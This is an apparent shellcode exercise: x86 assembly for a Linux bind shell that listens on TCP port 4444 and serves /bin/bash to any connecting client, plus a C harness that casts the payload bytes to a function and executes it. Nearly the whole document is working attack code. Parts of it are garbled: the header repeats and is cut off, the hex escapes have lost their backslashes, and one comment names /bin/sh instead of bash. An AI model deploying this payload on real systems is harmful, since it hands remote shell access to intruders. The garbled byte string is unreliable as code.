Linux x86 TCP 4444 Bindshell Shellcode

*
; Title : Linux/x86 - Bind (4444/TCP) Shell (/bin/bash) Shellcode (100 bytes)
; Date : Jan, 2019
; Author : Joao Batista
; Website : overflw.wordpress.com
; Twit *
; Title : Linux/x86 - Bind (4444/TCP) Shell (/bin/bash) Shellcode (100 bytes)
; Date : Jan, 2019
; Author : Joao Batista
; Website : overflw.wordpress.com
; Twitter : @x42x42x42x42
; SLAE-ID : 1420
; Tested on : i686 GNU/Linux

global _start

section .text
_start:
xor eax,eax
xor ebx,ebx

; socket
push ebx
inc ebx
push ebx
push 0x2
mov ecx,esp
mov al,0x66
int 0x80

; bind
xchg edi,eax
xor eax,eax
inc ebx
push eax
push word 0x5c11 ; port=4444
push bx
mov ecx, esp
push 0x10
push ecx
push edi
mov ecx,esp
mov al,0x66
int 0x80

; listen
push eax
push edi
mov ecx,esp
mov al,0x66
add ebx,2
int 0x80

;accept
push eax
push eax
push edi
mov ecx,esp
add al,0x66
inc ebx
int 0x80

;dup2
xchg ebx,eax
xor eax,eax
xor ecx,ecx
mov cl,0x2

loop:
mov al,0x3f
int 0x80
dec ecx
jns loop

;execve(/bin/sh)
push eax
push word 0x6873 ; hs
push 0x61622f2f ; ab//
push 0x6e69622f ; nib/
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
mov al,0xb
int 0x80
*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"x31xc0x31xdbx53x43x53x6ax02x89xe1xb0x66xcdx80x97x31xc0x43x50x66x68x11x5cx66x53x89xe1x6ax10x51x57x89xe1xb0x66xcdx80x50x57x89xe1xb0x66x83xc3x02xcdx80x50x50x57x89xe1x04x66x43xcdx80x93x31xc0x31xc9xb1x02xb0x3fxcdx80x49x79xf9x50x66x68x73x68x68x2fx2fx62x61x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80";

main()
{
printf("shellcode length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}